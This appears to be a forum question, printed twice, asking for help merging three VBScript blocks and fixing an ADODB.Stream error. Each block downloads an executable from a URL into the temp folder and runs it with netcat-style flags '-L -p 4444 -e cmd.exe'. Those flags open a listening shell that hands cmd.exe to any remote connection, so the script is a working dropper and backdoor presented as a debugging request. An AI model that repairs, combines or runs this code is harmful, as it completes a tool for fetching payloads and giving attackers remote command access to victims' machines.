I am trying to combine the .vbs scripts below into one .vbs. Below is sample of my code:
dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = " 'Where to download the file from
FILENAME = "%Tmp%\download1.exe" 'Name to save the file (on the local system)
RUNCMD = "%Tmp%\download1.exe -L -p 4444 -e cmd.exe"
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD
Next
dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = " 'Where to download the file from
FILENAME = "%Tmp%\download2.exe" 'Name to save the file (on the local system)
RUNCMD = "%Tmp%\download2.exe -L -p 4444 -e cmd.exe"
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD
Next
dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = " 'Where to download the file from
FILENAME = "%Tmp%\download3.exe" 'Name to save the file (on the local system)
RUNCMD = "%Tmp%\download3.exe -L -p 4444 -e cmd.exe"
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD
When I tried to run the code above, I'm always getting an error as stated in the image below:
Operation is not allowed when the object is open:
Link
Best solution to fix this or to make script wait and complete before proceeding to the next. will be greatly appreciated.
What I have tried:
I have tried using:
Next, WScript.Sleep 1000 and Delay syntax but none is working as expected.
dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = " 'Where to download the file from
FILENAME = "%Tmp%\download1.exe" 'Name to save the file (on the local system)
RUNCMD = "%Tmp%\download1.exe -L -p 4444 -e cmd.exe"
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD
Next
dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = " 'Where to download the file from
FILENAME = "%Tmp%\download2.exe" 'Name to save the file (on the local system)
RUNCMD = "%Tmp%\download2.exe -L -p 4444 -e cmd.exe"
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD
Next
dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = " 'Where to download the file from
FILENAME = "%Tmp%\download3.exe" 'Name to save the file (on the local system)
RUNCMD = "%Tmp%\download3.exe -L -p 4444 -e cmd.exe"
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD
When I tried to run the code above, I'm always getting an error as stated in the image below:
Operation is not allowed when the object is open:
Link
Best solution to fix this or to make script wait and complete before proceeding to the next. will be greatly appreciated.
What I have tried:
I have tried using:
Next, WScript.Sleep 1000 and Delay syntax but none is working as expected.